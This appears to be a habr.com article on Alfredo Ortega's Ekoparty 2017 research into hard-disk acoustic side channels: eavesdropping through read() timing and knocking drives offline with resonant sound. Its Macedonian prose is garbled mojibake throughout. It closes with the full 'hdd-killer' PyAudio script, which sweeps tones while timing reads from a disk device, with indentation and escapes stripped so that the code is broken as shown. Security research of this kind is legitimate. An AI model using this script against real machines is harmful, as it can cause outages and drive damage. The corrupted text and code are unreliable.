ΠΠ° ΠΊΠΎΠ½ΡΠ΅ΡΠ΅Π½ΡΠΈΡΠ°ΡΠ° Π·Π° ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΡΠΊΠ° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ Ekoparty 2017 Π²ΠΎ ΠΡΠ΅Π½ΠΎΡ ΠΠΈΡΠ΅Ρ, Π°ΡΠ³Π΅Π½ΡΠΈΠ½ΡΠΊΠΈΠΎΡ Ρ
Π°ΠΊΠ΅Ρ ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° ΠΏΠΎΠΊΠ°ΠΆΠ° ΠΌΠ½ΠΎΠ³Ρ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ΅Π½ ΡΠ°Π·Π²ΠΎΡ - ΡΠΈΡΡΠ΅ΠΌ Π·Π° ΡΠ°ΡΠ½ΠΎ ΠΏΡΠΈΡΠ»ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΡΠΎΡΡΠΎΡΠΈΠΈ Π±Π΅Π· ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° ΠΌΠΈΠΊΡΠΎΡΠΎΠ½. ΠΠ²ΡΠΊ
HDD Π³Π»Π°Π²Π½ΠΎ ΠΏΡΠΈΠΌΠ° Π·Π²ΡΡΠΈ ΡΠΎ Π½ΠΈΡΠΊΠ° ΡΡΠ΅ΠΊΠ²Π΅Π½ΡΠΈΡΠ° ΡΠΎ Π²ΠΈΡΠΎΠΊ ΠΈΠ½ΡΠ΅Π½Π·ΠΈΡΠ΅Ρ, ΡΠ΅ΠΊΠΎΡΠΈ ΠΈ Π΄ΡΡΠ³ΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ. Π§ΠΎΠ²Π΅ΡΠΊΠΈΠΎΡ Π³ΠΎΠ²ΠΎΡ ΡΓ¨ ΡΡΡΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΠ·Π½Π°Π΅, ΠΈΠ°ΠΊΠΎ Π½Π°ΡΡΠ½ΠΈΡΠΈΡΠ΅
ΠΠ²ΡΠΊΠΎΡ Π΅ Π²ΠΈΠ±ΡΠ°ΡΠΈΡΠ° Π½Π° Π²ΠΎΠ·Π΄ΡΡ
ΠΎΡ ΠΈΠ»ΠΈ Π΄ΡΡΠ³ ΠΌΠ΅Π΄ΠΈΡΠΌ. ΠΠ΄Π½ΠΎ Π»ΠΈΡΠ΅ Π³ΠΈ ΠΏΠ΅ΡΡΠ΅ΠΏΠΈΡΠ° ΠΏΡΠ΅ΠΊΡ ΡΠ°ΠΏΠ°Π½ΡΠ΅ΡΠΎ, ΠΊΠΎΠ΅ Π³ΠΈ ΠΏΡΠ΅Π½Π΅ΡΡΠ²Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π΄ΠΎ Π²Π½Π°ΡΡΠ΅ΡΠ½ΠΎΡΠΎ ΡΠ²ΠΎ. ΠΠΈΠΊΡΠΎΡΠΎΠ½ΠΎΡ Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½ ΠΏΡΠΈΠ±Π»ΠΈΠΆΠ½ΠΎ ΠΊΠ°ΠΊΠΎ ΡΠ²ΠΎ - ΠΈ ΠΎΠ²Π΄Π΅ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ ΡΠ΅ ΡΠ½ΠΈΠΌΠ°Π°Ρ ΡΠΎ ΡΠ΅Π½ΠΊΠ° ΠΌΠ΅ΠΌΠ±ΡΠ°Π½Π°, ΠΊΠΎΡΠ° Π²ΠΎΠ·Π±ΡΠ΄ΡΠ²Π° Π΅Π»Π΅ΠΊΡΡΠΈΡΠ΅Π½ ΠΈΠΌΠΏΡΠ»Ρ. Π₯Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΡ, ΡΠ΅ ΡΠ°Π·Π±ΠΈΡΠ°, ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° Π΅ ΠΏΠΎΠ΄Π»ΠΎΠΆΠ΅Π½ Π½Π° ΠΌΠΈΠΊΡΠΎΡΠΊΠΎΠΏΡΠΊΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ ΠΏΠΎΡΠ°Π΄ΠΈ ΡΠ»ΡΠΊΡΡΠ°ΡΠΈΠΈ Π½Π° ΠΎΠΊΠΎΠ»Π½ΠΈΠΎΡ Π²ΠΎΠ·Π΄ΡΡ
. ΠΠ²Π° Π΅ ΠΏΠΎΠ·Π½Π°ΡΠΎ Π΄ΡΡΠΈ ΠΈ ΠΎΠ΄ ΡΠ΅Ρ
Π½ΠΈΡΠΊΠΈΡΠ΅ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ Π½Π° HDD-Π°: ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΠΎΠ±ΠΈΡΠ½ΠΎ ΡΠΊΠ°ΠΆΡΠ²Π°Π°Ρ Π½Π° ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»Π½ΠΎ Π΄ΠΎΠ·Π²ΠΎΠ»Π΅Π½ΠΎΡΠΎ Π½ΠΈΠ²ΠΎ Π½Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ, Π° ΡΠ°ΠΌΠΈΠΎΡ Ρ
Π°ΡΠ΄ Π΄ΠΈΡΠΊ ΡΠ΅ΡΡΠΎ ΡΠ΅ ΠΎΠ±ΠΈΠ΄ΡΠ²Π° Π΄Π° Π³ΠΎ ΡΡΠ°Π²ΠΈ Π²ΠΎ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅Ρ ΠΎΡΠΏΠΎΡΠ΅Π½ Π½Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ Π½Π°ΠΏΡΠ°Π²Π΅Π½ ΠΎΠ΄ Π³ΡΠΌΠ° ΠΈΠ»ΠΈ Π΄ΡΡΠ³ ΠΈΠ·ΠΎΠ»Π°ΡΠΈΠΎΠ½Π΅Π½ ΠΌΠ°ΡΠ΅ΡΠΈΡΠ°Π». ΠΠ΄ ΠΎΠ²Π° Π»Π΅ΡΠ½ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π·Π°ΠΊΠ»ΡΡΠΈ Π΄Π΅ΠΊΠ° Π·Π²ΡΡΠΈΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΡΠ½ΠΈΠΌΠ°Π°Ρ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° HDD. ΠΡΡΠ°Π½ΡΠ²Π° ΡΠ°ΠΌΠΎ Π΄Π° Π΄ΠΎΠ·Π½Π°Π΅ΠΌΠ΅ ΠΊΠ°ΠΊΠΎ.
ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΡΠ½ΠΈΠΊΠ°ΡΠ½Π° Π²Π΅ΡΠ·ΠΈΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ ΠΎΠ΄ ΡΡΡΠ°Π½ΠΈΡΠ΅Π½ ΠΊΠ°Π½Π°Π», ΠΈΠΌΠ΅Π½ΠΎ Π²ΡΠ΅ΠΌΠ΅Π½ΡΠΊΠΈ Π½Π°ΠΏΠ°Π΄. ΠΠ²ΠΎΡ Π½Π°ΠΏΠ°Π΄ ΡΠ΅ Π·Π°ΡΠ½ΠΎΠ²Π° Π½Π° ΠΏΡΠ΅ΡΠΏΠΎΡΡΠ°Π²ΠΊΠ°ΡΠ° Π΄Π΅ΠΊΠ° ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ ΡΠ΅ Π²ΡΡΠ°Ρ Π½Π° ΡΡΠ΅Π΄ΠΎΡ Π²ΠΎ ΡΠ°Π·Π»ΠΈΡΠ½ΠΎ Π²ΡΠ΅ΠΌΠ΅, Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ Π΄Π°Π΄Π΅Π½ΠΈΡΠ΅ Π²Π»Π΅Π·Π½ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ. ΠΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ, βΠ²Π»Π΅Π·Π½ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈβ ΡΠ΅ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Π³Π»Π°Π²Π°ΡΠ° Π·Π° ΡΠΈΡΠ°ΡΠ΅ ΠΈ ΠΏΠ»ΠΎΡΠ°ΡΠ° Π·Π° HDD, ΠΊΠΎΠΈ ΡΠ΅ Π²ΠΎ ΠΊΠΎΡΠ΅Π»Π°ΡΠΈΡΠ° ΡΠΎ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΠΎΠΊΠΎΠ»ΠΈΠ½Π°ΡΠ°, ΠΎΠ΄Π½ΠΎΡΠ½ΠΎ ΡΠΎ Π·Π²ΡΠΊΠΎΡ. Π’Π°ΠΊΠ°, ΡΠΎ ΠΌΠ΅ΡΠ΅ΡΠ΅ Π½Π° Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΠΏΡΠ΅ΡΠΌΠ΅ΡΡΠ²Π°ΡΠ΅ ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ°ΡΠΈΡΡΠΈΡΠΊΠ° Π°Π½Π°Π»ΠΈΠ·Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈΡΠ΅, ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΌΠ΅ΡΠ°Ρ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Π³Π»Π°Π²Π°ΡΠ°/ΠΏΠΎΡΠ»ΡΠΆΠ°Π²Π½ΠΈΠΊΠΎΡ, Π° ΡΠΎ ΡΠΎΠ° ΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΠΌΠ΅Π΄ΠΈΡΠΌΠΎΡ. ΠΠΎΠ»ΠΊΡ ΠΏΠΎΠ΄ΠΎΠ»Π³ΠΎ Π΄ΠΎΡΠ½Π΅ΡΠ΅ΡΠΎ Π²ΠΎ ΡΠΈΡΠ°ΡΠ΅ΡΠΎ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ, ΡΠΎΠ»ΠΊΡ ΠΏΠΎΡΠΈΠ»Π½ΠΈ ΡΠ΅ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° HDD ΠΈ, ΡΠΏΠΎΡΠ΅Π΄ ΡΠΎΠ°, Π·Π²ΡΠΊΠΎΡ Π΅ ΠΏΠΎΠ³Π»Π°ΡΠ΅Π½.
ΠΠ°ΠΊΠΎ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΌΠ΅ΡΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° Ρ
Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΡ? ΠΠ½ΠΎΠ³Ρ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½ΠΎ: ΡΠ°ΠΌΠΎ ΠΈΠ·Π²ΡΡΠ΅ΡΠ΅ Π³ΠΎ ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΠΎΡ ΠΏΠΎΠ²ΠΈΠΊ read ()
β ΠΈ Π·Π°ΠΏΠΈΡΠ΅ΡΠ΅ Π³ΠΎ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ ΠΏΠΎΡΡΠ΅Π±Π½ΠΎ Π·Π° Π΄Π° ΡΠ΅ Π·Π°Π²ΡΡΠΈ. Π‘ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½ΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π°Π°Ρ Π΄Π° Π³ΠΎ ΡΠΈΡΠ°ΡΠ΅ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ²ΠΈΡΠΈ ΡΠΎ ΡΠΎΡΠ½ΠΎΡΡ ΠΎΠ΄ Π½Π°Π½ΠΎΡΠ΅ΠΊΡΠ½Π΄Π°.
ΠΡΠ·ΠΈΠ½Π°ΡΠ° Π½Π° ΡΠΈΡΠ°ΡΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎΠ΄ ΡΠ΅ΠΊΡΠΎΡ Π·Π°Π²ΠΈΡΠΈ ΠΎΠ΄ ΠΏΠΎΠ»ΠΎΠΆΠ±Π°ΡΠ° Π½Π° Π³Π»Π°Π²Π°ΡΠ° ΠΈ ΠΏΠΎΡΠ»ΡΠΆΠ°Π²Π½ΠΈΠΊΠΎΡ, ΡΡΠΎ Π΅ Π²ΠΎ ΠΊΠΎΡΠ΅Π»Π°ΡΠΈΡΠ° ΡΠΎ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅ Π½Π° ΠΊΡΡΠΈΡΡΠ΅ΡΠΎ Π½Π° HDD. Π’ΠΎΠ° Π΅ ΡΠ΅.
Π‘ΡΠ°ΡΠΈΡΡΠΈΡΠΊΠ°ΡΠ° Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ΅ Π²ΡΡΠΈ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½Π° Π°Π»Π°ΡΠΊΠ° Kscope. ΠΠ°ΠΊΠΎ ΡΡΠΎ Π²Π΅Π»Π°Ρ, ΡΓ¨ Π³Π΅Π½ΠΈΡΠ°Π»Π½ΠΎ Π΅ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½ΠΎ.
Kscope Π°Π»Π°ΡΠΊΠ° (stat() syscall)
Kscope Π΅ ΠΌΠ°Π»Π° Π°Π»Π°ΡΠΊΠ° Π·Π° Π²ΠΈΠ·ΡΠ΅Π»ΠΈΠ·Π°ΡΠΈΡΠ° Π½Π° ΠΌΠ°Π»ΠΈ ΡΠ°Π·Π»ΠΈΠΊΠΈ Π²ΠΎ Π²ΡΠ΅ΠΌΠ΅ΡΠΎ Π½Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΠΏΠΎΠ²ΠΈΡΠΈ. ΠΠ·Π²ΠΎΡ
ΠΠΎ ΠΏΠΎΡΠ΅Π±Π½ΠΎ ΡΠΊΠ»Π°Π΄ΠΈΡΡΠ΅ read ()
.
ΠΠ΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡΠ° Π½Π° ΡΠ½ΠΈΠΌΠ°ΡΠ΅ Π·Π²ΡΠΊ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° HDD, ΡΠ°Π±ΠΎΡΠ° Π½Π° Π°Π»Π°ΡΠΊΠ°ΡΠ° Kscope
Π‘Π΅ ΡΠ°Π·Π±ΠΈΡΠ°, Π³ΠΎΠ²ΠΎΡΠΎΡ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ Π½Π° ΠΎΠ²ΠΎΡ Π½Π°ΡΠΈΠ½, Π½ΠΎ HDD Π΅ ΡΠΎΡΠ΅ΠΌΠ° ΠΏΠΎΠ³ΠΎΠ΄Π΅Π½ ΠΊΠ°ΠΊΠΎ ΡΠ΅Π½Π·ΠΎΡ Π·Π° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ. ΠΠ° ΠΏΡΠΈΠΌΠ΅Ρ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ΅ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°ΡΠ΅ Π°ΠΊΠΎ Π»ΠΈΡΠ΅ ΠΊΠΎΠ΅ Π½ΠΎΡΠΈ ΡΠ²ΡΠ΄ΠΈ ΡΠ΅Π²Π»ΠΈ ΠΈΠ»ΠΈ Π±ΠΎΡ Π²Π»Π΅Π³Π»ΠΎ Π²ΠΎ ΠΏΡΠΎΡΡΠΎΡΠΈΡΠ° ΡΠΎ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ (Π²Π΅ΡΠΎΡΠ°ΡΠ½ΠΎ, Π°ΠΊΠΎ Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ Π½ΠΎΡΠΈ ΠΌΠ΅ΠΊΠΈ ΠΏΠ°ΡΠΈΠΊΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ° Π΄Π΅Π±Π΅Π» ΡΠ΅ΠΏΠΈΡ Π½Π° ΠΏΠΎΠ΄ΠΎΡ, HDD Π½Π΅ΠΌΠ° Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ° Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈ - ΠΎΠ²Π° Π²ΡΠ΅Π΄ΠΈ Π΄Π° ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈ). ΠΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ° ΡΠΊΡΡΠ΅Π½ΠΎ ΡΡΠ°ΠΊΠ»ΠΎ ΠΈΠ»ΠΈ Π΄ΡΡΠ³ΠΈ ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈ ΡΠΎ ΡΠΈΠ»Π΅Π½ ΠΈΠ½ΡΠ΅Π½Π·ΠΈΡΠ΅Ρ Π½Π° Π·Π²ΡΠΊ. ΠΠ΄Π½ΠΎΡΠ½ΠΎ, Ρ Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΡΠ»ΡΠΆΠΈ ΠΊΠ°ΠΊΠΎ Π΅Π΄Π΅Π½ Π²ΠΈΠ΄ Π½Π΅ΠΎΠ²Π»Π°ΡΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°ΡΠ΅ Π½Π° ΡΠΏΠ°Π΄.
Π£Π±ΠΈΠ΅Ρ Π½Π° HDD
ΠΠ°ΡΠ΅ΠΌ, ΡΠ»ΠΈΡΠ½Π° ΡΠ΅Ρ Π½ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΠΎΠ½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π°ΡΠ΅ Π½Π° Ρ Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΠ²ΠΈ. Π‘Π°ΠΌΠΎ ΠΎΠ²Π΄Π΅ Π½Π΅ Π³ΠΈ ΠΎΡΡΡΡΠ°Π½ΡΠ²Π°ΠΌΠ΅ ΠΎΡΡΠΈΠ»Π°ΡΠΈΠΈΡΠ΅ ΠΎΠ΄ HDD, ΡΡΠΊΡ Π½Π°ΠΏΡΠΎΡΠΈΠ², Π³Π΅Π½Π΅ΡΠΈΡΠ°ΠΌΠ΅ ΠΎΡΡΠΈΠ»Π°ΡΠΈΠΈ ΠΊΠΎΠΈ ΡΠ΅ Π½Π°ΠΏΠΎΡΡΠ²Π°Π°Ρ Π½Π° HDD. ΠΠΊΠΎ ΡΠ΅ΠΏΡΠΎΠ΄ΡΡΠΈΡΠ°ΡΠ΅ Π·Π²ΡΠΊ ΠΎΠ΄ Π·Π²ΡΡΠ½ΠΈΠΊ Π½Π° ΡΡΠ΅ΠΊΠ²Π΅Π½ΡΠΈΡΠ° ΡΡΠΎ ΡΠ΅Π·ΠΎΠ½ΠΈΡΠ° ΡΠΎ ΡΡΠ΅ΠΊΠ²Π΅Π½ΡΠΈΡΠ°ΡΠ° Π½Π° HDD, ΡΠΈΡΡΠ΅ΠΌΠΎΡ Π½Π°ΡΠΊΠΎΡΠΎ Π³ΠΎ ΠΈΡΠΊΠ»ΡΡΡΠ²Π° ΡΡΠ΅Π΄ΠΎΡ ΡΠΎ I/O Π³ΡΠ΅ΡΠΊΠ° (ΠΊΠ΅ΡΠ½Π΅Π»ΠΎΡ Π½Π° Linux ΡΠ΅Π»ΠΎΡΠ½ΠΎ Π³ΠΎ ΠΈΡΠΊΠ»ΡΡΡΠ²Π° HDD ΠΏΠΎ 120 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ). Π‘Π°ΠΌΠΈΠΎΡ Ρ Π°ΡΠ΄ Π΄ΠΈΡΠΊ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠ΅ΡΡΠΏΠΈ Π½Π΅ΠΏΠΎΠ²ΡΠ°ΡΠ½ΠΎ ΠΎΡΡΠ΅ΡΡΠ²Π°ΡΠ΅.
ΠΠ°Π΄ΡΠΎΡΠΎ Π½Π° Linux Π³ΠΎ ΠΈΡΠΊΠ»ΡΡΠΈ Ρ
Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΡ ΠΏΠΎ 120 ΡΠ΅ΠΊΡΠ½Π΄ΠΈ ΠΈΡΠΏΠΎΡΠ°ΡΡΠ²Π°ΡΠ΅ Π·Π²ΡΠΊ ΡΠΎ ΡΠ΅Π·ΠΎΠ½Π°Π½ΡΠ½Π° ΡΡΠ΅ΠΊΠ²Π΅Π½ΡΠΈΡΠ° ΠΏΡΠ΅ΠΊΡ Π·Π²ΡΡΠ½ΠΈΠΊΠΎΡ Π½Π° Π·Π²ΡΡΠ½ΠΈΠΊΠΎΡ Edifier r19u USB. ΠΠ²ΡΡΠ½ΠΈΠΊΠΎΡ Π΅ Π²ΠΊΠ»ΡΡΠ΅Π½ ΡΠΎ ΠΎΠΊΠΎΠ»Ρ Π΅Π΄Π½Π° ΡΠ΅ΡΠ²ΡΡΠΈΠ½Π° ΠΎΠ΄ ΠΌΠΎΡΠ½ΠΎΡΡΠ° (ΠΏΠΎΠΌΠ°Π»ΠΊΡ ΠΎΠ΄ 100 mW) ΠΈ ΡΠ΅ Π½Π°ΠΎΡΠ° Π½Π° 20 cm ΠΎΠ΄ HDD, Π½Π°ΡΠΎΡΠ΅Π½ ΠΊΠΎΠ½ ΠΌΠ°ΡΠ°ΡΠ° Π·Π° Π΄Π° Π³ΠΈ ΠΏΠΎΠ΄ΠΎΠ±ΡΠΈ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΈΡΠ΅. Π Π°ΠΌΠΊΠ° ΠΎΠ΄
ΠΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π΅ ΡΡΠΎ ΡΠ°ΠΊΠ²ΠΈΡΠ΅ βΠ½Π°ΠΏΠ°Π΄ΠΈβ Π½Π° HDD ΠΏΠΎΠ½Π΅ΠΊΠΎΠ³Π°Ρ ΡΠ΅ ΡΠ»ΡΡΡΠ²Π°Π°Ρ ΡΠΎΡΠ΅ΠΌΠ° ΡΠ»ΡΡΠ°ΡΠ½ΠΎ Π²ΠΎ ΡΠ΅ΠΊΠΎΡΠ΄Π½Π΅Π²Π½ΠΈΠΎΡ ΠΆΠΈΠ²ΠΎΡ. ΠΠ° ΠΏΡΠΈΠΌΠ΅Ρ, Π²ΠΎ ΡΠ΅ΠΏΡΠ΅ΠΌΠ²ΡΠΈ 2016 Π³ΠΎΠ΄ΠΈΠ½Π°, ΡΠ΅Π½ΡΠ°ΡΠΎΡ Π·Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π½Π° ING Bank Π±Π΅ΡΠ΅ ΠΏΡΠΈΠ½ΡΠ΄Π΅Π½ Π΄Π° ΡΠ° ΠΏΡΠ΅ΠΊΠΈΠ½Π΅ ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° 10 ΡΠ°ΡΠ° ΠΏΠΎ ΠΏΠΎΠΆΠ°ΡΠ½Π° Π²Π΅ΠΆΠ±Π°.
ΠΠ΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡΠ° Π½Π° ΡΠΎΠ²Π΅ΡΠΊΠΎ Π²ΡΠ΅ΡΠΊΠ°ΡΠ΅ Π½Π° Ρ Π°ΡΠ΄ Π΄ΠΈΡΠΊΠΎΠ²ΠΈ Π²ΠΎ ΡΠ΅Π½ΡΠ°ΡΠΎΡ Π·Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ. ΠΠ΅ΡΠ΅ΡΠ΅ Π½Π° Π»Π°ΡΠ΅Π½ΡΠ½ΠΎΡΡ
ΠΠ° Π΄Π° Π³Π΅Π½Π΅ΡΠΈΡΠ° ΡΠ΅Π·ΠΎΠ½Π°Π½ΡΠ΅Π½ Π·Π²ΡΠΊ, ΠΠ»ΡΡΠ΅Π΄ΠΎ ΠΡΡΠ΅Π³Π° Π½Π°ΠΏΠΈΡΠ°Π» ΡΠΊΡΠΈΠΏΡΠ° Π·Π° ΠΠ°ΡΡΠΎΠ½ Π½Π°ΡΠ΅ΡΠ΅Π½Π°
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
ΠΠ·Π²ΠΎΡ: www.habr.com